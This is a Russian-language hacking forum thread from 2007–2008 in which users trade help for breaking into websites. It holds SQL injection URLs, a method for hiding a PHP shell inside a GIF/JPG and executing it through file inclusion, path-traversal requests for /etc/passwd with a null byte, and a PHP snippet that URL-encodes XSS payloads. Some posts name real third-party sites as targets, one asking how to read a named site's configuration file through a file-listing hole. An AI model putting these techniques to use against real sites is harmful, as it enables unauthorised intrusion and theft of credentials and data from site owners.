Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://www.site.org/article.php?id=80+or+1=(SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1)--

    При подстановке любого числа в лимит выдаёт одну и ту же страницу.


    http://www.site.org/article.php?id=80+order+by+4

    Полей *якобы* 4.

    http://www.site.org/article.php?id=80+union+select+1,2,3,4

    The used SELECT statements have a different number of columns

    Пробывал по всякому,но ничего не вышло.Версия пятая,mysql точно,ибо в ответе сказано,что это mysql.Комменты /* не принимает,что меня,кстати,удивило.(Принимает только -- )
     
  2. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    ссылку кинь в пм )
     
  3. schut123

    schut123 Elder - Старейшина

    Joined:
    2 Jan 2007
    Messages:
    73
    Likes Received:
    49
    Reputations:
    1
    у меня такой вот вопрос, может не совсем по теме, но все-же нужно для эксплотирования уязвимости.
    Как перевести обыкновенные символы (допустим <script>123</script> в код, типа
    ???
    Припомощи какой проги это делатся?
    Мне просто нужно будет и скрипты и URL в такой код перевести.
     
  4. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    вот держи сайт http://ha.ckers.org/xss.html там думаю разберешся в функциях
     
  5. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    PHP:
    <?
        if (!isset(
    $_GET['a']))
        {
            die(
    '?a=string');
        }
        
    $a $_GET['a'];
        
    $len strlen($a);
        
    $b '';
        for(
    $i 0$i $len$i++)
        {
            
    $b $b.'%'.dechex(ord($a[$i]));
        }
        echo 
    $b."\r\n";
    ?>
     
  6. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    Вообщем вопрос, как залить шелл картинкой, нираз читал про это, поидеи что нам нужно так это изменить код картинки и иметь где либо на сайте баг для исполнения пхп кода?
     
  7. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Берёшь обычную .gif/.png/.jpg картинку, открываешь любым HexViewer'om или Notepad++ (им кстати удобней), и после того что там уже изачально было (сигнатура и прочее гомно), добавляешь .php код. Далее заливаешь на нужный тебе сайт, и если там есть локальный инклуд (для ремоута сразу проще ссылку на шелл вбить), прописываешь путь до твоей картинки на сайте. При выполнении функций include()/include_once() .php код выполнится, в каком бы расширении файла он не находился.
     
    1 person likes this.
  8. 2la.painkiller

    2la.painkiller New Member

    Joined:
    22 May 2008
    Messages:
    26
    Likes Received:
    4
    Reputations:
    -10
    1. Надо ли код картинки оставлять? или просто php код дописать в конце?
    2. Можно ли с yandex.naroda.ru делать?
    например http://lol.ru?page=http://yandex.narod.ru/zloyshell.jpeg ?
    3. Вот инклуд с ../../../etc/passwd как определяется кол-во ../../../ ?
    4. как распознать удаленый инклуд от локального?
     
  9. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    1.
    2. можно, если удаленный инклюд

    3. зависит от количества заданных каталогов в параметре. Т.е. если изначально запрос

    include(/var/www/domain/vasya.ru/$page)

    то кол-во .. будет равно 4. Но переборщить с .. нельзя) т.е. если в этом примере ты напишешь 30 .., то хуже не будет :) выше корня не уйдешь.

    4. Пробуешь открыть скрипт, расположенный на др. сервере, если не открывает, то или отключено, или инклуд не удаленный.
     
    #2629 n0ne, 18 Jul 2008
    Last edited: 18 Jul 2008
    2 people like this.
  10. 2la.painkiller

    2la.painkiller New Member

    Joined:
    22 May 2008
    Messages:
    26
    Likes Received:
    4
    Reputations:
    -10
    спс всем! %)
    а на счет админки http://www.mirf1.ru/
    как или какими прогамми можно узнать строение сайта?
     
    1 person likes this.
  11. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    >> как или какими прогамми можно узнать строение сайта?
    Сканеры head заголовков и прочего гомна. А вообще http://madnet.name/tools/madss/
     
  12. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Каталоги помому ваще фигня -

    можно сделать ../../../../../../../../../../etc/passwd или

    ../etc/passwd

    и все равно выдаст тот же фаил, если он есть)
     
  13. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Велемир,

     
  14. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Бред написал. Т.е. по твоему будет одноxуйственно?

    include("/usr/blablabla/public_html/".$include_dir."blabla.php");
    и
    include("/usr/".$include_dir."blabla.php");

    И при запросе
    mda.php?include_dir=../../../etc/passwd%00
    В обоих случаях выведет etc/passwd? Не стоит писать херню
     
    #2634 .Slip, 18 Jul 2008
    Last edited: 18 Jul 2008
    1 person likes this.
  15. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Если не ошибаюсь, то в твоем примере в обоих случаях выведет /etc/passwd ))
     
    2 people like this.
  16. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    причем тут # это тоже самое что и --
    подставляй чтот тип.. '+union+select+1,2/*

    а вообще намного удобние производить иньекцию здесь:
     
    #2636 sabe, 18 Jul 2008
    Last edited: 18 Jul 2008
  17. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Ок, thx
     
    1 person likes this.
  18. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    выше запрос те же дали он работает )
     
  19. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Жесть =) Совсем мозг пропил пивом =) Спасибо=) Кажется спать иногда полезно =)
     
    2 people like this.
  20. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Есть сайт:
    Code:
    http://www.bikemaster.ru/admin/htmlarea/popups/lister.php?DPI=96&action=view&path=&file=..
    Позволяет смотреть директории изображений.
    SQL иньекцию прикрыли наглухо. И самое интересное - на следующий день после ее обнаружения (када спать уже пошел и сил небыло ничего делать.) Перебрасывает на главную страницу при любой попытке запроса.
    Файл конфигурации includes/configure.php просто так не просмотреть.
    Пробовал так:
    Code:
    http://www.bikemaster.ru/admin/htmlarea/popups/lister.php?DPI=96&path=../../../../includes/configure.php
    , но сам файл никак не посмотреть.
    Кто-нибудь может что-нибудь подсказать?
     
Thread Status:
Not open for further replies.